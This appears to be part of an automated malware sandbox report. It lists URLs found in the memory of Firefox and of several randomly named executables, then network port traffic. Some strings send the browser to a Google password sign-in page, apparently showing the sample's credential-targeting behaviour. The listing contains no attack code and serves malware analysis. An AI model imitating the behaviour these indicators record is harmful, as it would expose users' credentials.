Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000001D.00000002.3401422658.00000214AB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001D.00000002.3426975852.00000214AEC69000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshttps://support.mozilla.org
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translationmigration-wizard-migrator-display-name-chromium-ed
Source: 176986cc9c.exe, 0000000F.00000003.3316379231.00000000054F9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001D.00000002.3416090218.00000214ACA1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3399505695.00000214AAD50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/Failed
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/main/anti-tracking-url-decorationscheduleCheckFor
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.de/
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001D.00000003.3339089600.00000214B3CB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C5F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/resource://gre/modules/GMPInstallManager.sys.mjsList
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC883000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchLOAD_ANONYMOUS_ALLOW_CLIENT_CERTctrlTab-showAll-container
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/loadPath
Source: d0d9725343.exe, 0000000B.00000003.2954153518.00000000038BA000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167200926.00000000057D5000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3315639866.0000000005411000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.or
Source: d0d9725343.exe, 0000000B.00000003.2954153518.00000000038BA000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167200926.00000000057D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000003.3364445219.00000214ADDAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3454872556.00001A5334604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3445177283.00000214B3FD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3315185468.00000214AF391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3374751483.0000006AFD63B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3354036603.00000214ADDAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001D.00000002.3417855408.00000214ACC43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001D.00000003.3322309310.00000214ACB79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3322309310.00000214ACB93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/How
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/mr2022-background-update-toast-primary-button-labe
Source: firefox.exe, 0000001D.00000002.3417855408.00000214ACC43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: firefox.exe, 0000001D.00000002.3416090218.00000214ACA1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/ObjectUtils.sys.mjsresource://gre/modules
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 0000001D.00000002.3374751483.0000006AFD63B000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001D.00000002.3425023618.00000214AE2C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C07000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001D.00000002.3442157921.00000214B3B6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADCB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001D.00000003.3317888564.00000214ADDC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/accoSt?=https://a
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.3245222022.000002ABFAA6F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3254876412.0000025FAF72F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd4u%b
Source: firefox.exe, 0000001D.00000002.3378785506.000002149CE6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdOur
Source: firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdY
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://addons.mozil
Source: 3981530833.exe, 00000010.00000002.3310836635.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, 3981530833.exe, 00000010.00000003.3288760750.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdx
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/accountgWindowsWithUnloadHandlerexperimental.hideHeuristic_getBoundsWithoutFlush
Source: unknown Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49921 -> 443
